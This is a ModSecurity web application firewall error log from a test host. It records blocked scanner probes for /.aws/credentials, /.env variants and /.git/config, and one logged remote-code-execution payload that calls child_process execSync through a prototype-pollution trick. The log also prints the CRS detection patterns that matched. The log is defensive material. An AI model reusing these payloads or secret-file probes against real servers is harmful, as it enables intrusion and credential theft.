[Sun Dec 07 10:14:38.480040 2025] [:error] [pid 575822] [client 68.183.147.152:59430] [client 68.183.147.152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aTVFfrHrKGegcZ_89jRaQgAAAAU&quot;]
[Sun Dec 07 21:45:27.400233 2025] [:error] [pid 575822] [client 172.190.142.176:54832] [client 172.190.142.176] ModSecurity: Warning. Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;343&quot;] [id &quot;920220&quot;] [msg &quot;URL Encoding Abuse Attack Attempt&quot;] [data &quot;/2%.php&quot;] [severity &quot;WARNING&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/PROTOCOL_VIOLATION/EVASION&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/2%.php&quot;] [unique_id &quot;aTXnZ7HrKGegcZ_89jRbAQAAAAU&quot;]
[Sun Dec 07 21:45:32.794176 2025] [:error] [pid 575098] [client 172.190.142.176:20276] [client 172.190.142.176] ModSecurity: Warning. Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;343&quot;] [id &quot;920220&quot;] [msg &quot;URL Encoding Abuse Attack Attempt&quot;] [data &quot;/1%.php&quot;] [severity &quot;WARNING&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/PROTOCOL_VIOLATION/EVASION&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/1%.php&quot;] [unique_id &quot;aTXnbMIyjLAtHsCAPK6kLgAAAAg&quot;]
[Sun Dec 07 21:45:51.675108 2025] [:error] [pid 573221] [client 172.190.142.176:3702] [client 172.190.142.176] ModSecurity: Warning. Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;343&quot;] [id &quot;920220&quot;] [msg &quot;URL Encoding Abuse Attack Attempt&quot;] [data &quot;/0%.php&quot;] [severity &quot;WARNING&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/PROTOCOL_VIOLATION/EVASION&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/0%.php&quot;] [unique_id &quot;aTXnf1vgbiRUkefMDcypigAAAAM&quot;]
[Mon Dec 08 11:44:23.529422 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa0QAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Mon Dec 08 11:44:23.529710 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa0QAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Mon Dec 08 11:44:23.529905 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa0QAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Mon Dec 08 11:44:23.616528 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa0gAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env
[Mon Dec 08 11:44:23.616804 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa0gAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env
[Mon Dec 08 11:44:23.616986 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa0gAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env
[Mon Dec 08 11:44:23.704610 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa0wAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.example
[Mon Dec 08 11:44:23.704874 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa0wAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.example
[Mon Dec 08 11:44:23.705062 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa0wAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.example
[Mon Dec 08 11:44:23.792487 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa1AAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.local
[Mon Dec 08 11:44:23.792747 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa1AAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.local
[Mon Dec 08 11:44:23.792945 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa1AAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.local
[Mon Dec 08 11:44:23.879636 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa1QAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.backup
[Mon Dec 08 11:44:23.879806 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa1QAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.backup
[Mon Dec 08 11:44:23.880078 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa1QAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.backup
[Mon Dec 08 11:44:23.880305 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.backup&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa1QAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.backup
[Mon Dec 08 11:44:23.967418 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa1gAAAAI&quot;], referer: http://pms.test.indacotrentino.com/config/.env
[Mon Dec 08 11:44:23.967688 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa1gAAAAI&quot;], referer: http://pms.test.indacotrentino.com/config/.env
[Mon Dec 08 11:44:23.967873 2025] [:error] [pid 594975] [client 45.86.202.159:32253] [client 45.86.202.159] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aTasBxecghAXZF1I4kEa1gAAAAI&quot;], referer: http://pms.test.indacotrentino.com/config/.env
[Wed Dec 10 04:06:02.348064 2025] [:error] [pid 636951] [client 3.128.203.65:52694] [client 3.128.203.65] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTjjmtk209adLJ1hacVSSQAAAAU&quot;]
[Wed Dec 10 04:06:02.358561 2025] [:error] [pid 636951] [client 3.128.203.65:52694] [client 3.128.203.65] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTjjmtk209adLJ1hacVSSQAAAAU&quot;]
[Wed Dec 10 04:06:02.359542 2025] [:error] [pid 636951] [client 3.128.203.65:52694] [client 3.128.203.65] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTjjmtk209adLJ1hacVSSQAAAAU&quot;]
[Wed Dec 10 04:06:02.359764 2025] [:error] [pid 636951] [client 3.128.203.65:52694] [client 3.128.203.65] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aTjjmtk209adLJ1hacVSSQAAAAU&quot;]
[Thu Dec 11 08:24:57.791771 2025] [:error] [pid 660796] [client 45.148.10.143:43424] [client 45.148.10.143] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTpxyWCN_lJ-2b0IbChIeAAAAAM&quot;]
[Thu Dec 11 08:24:57.793231 2025] [:error] [pid 660796] [client 45.148.10.143:43424] [client 45.148.10.143] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTpxyWCN_lJ-2b0IbChIeAAAAAM&quot;]
[Thu Dec 11 08:24:57.793440 2025] [:error] [pid 660796] [client 45.148.10.143:43424] [client 45.148.10.143] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTpxyWCN_lJ-2b0IbChIeAAAAAM&quot;]
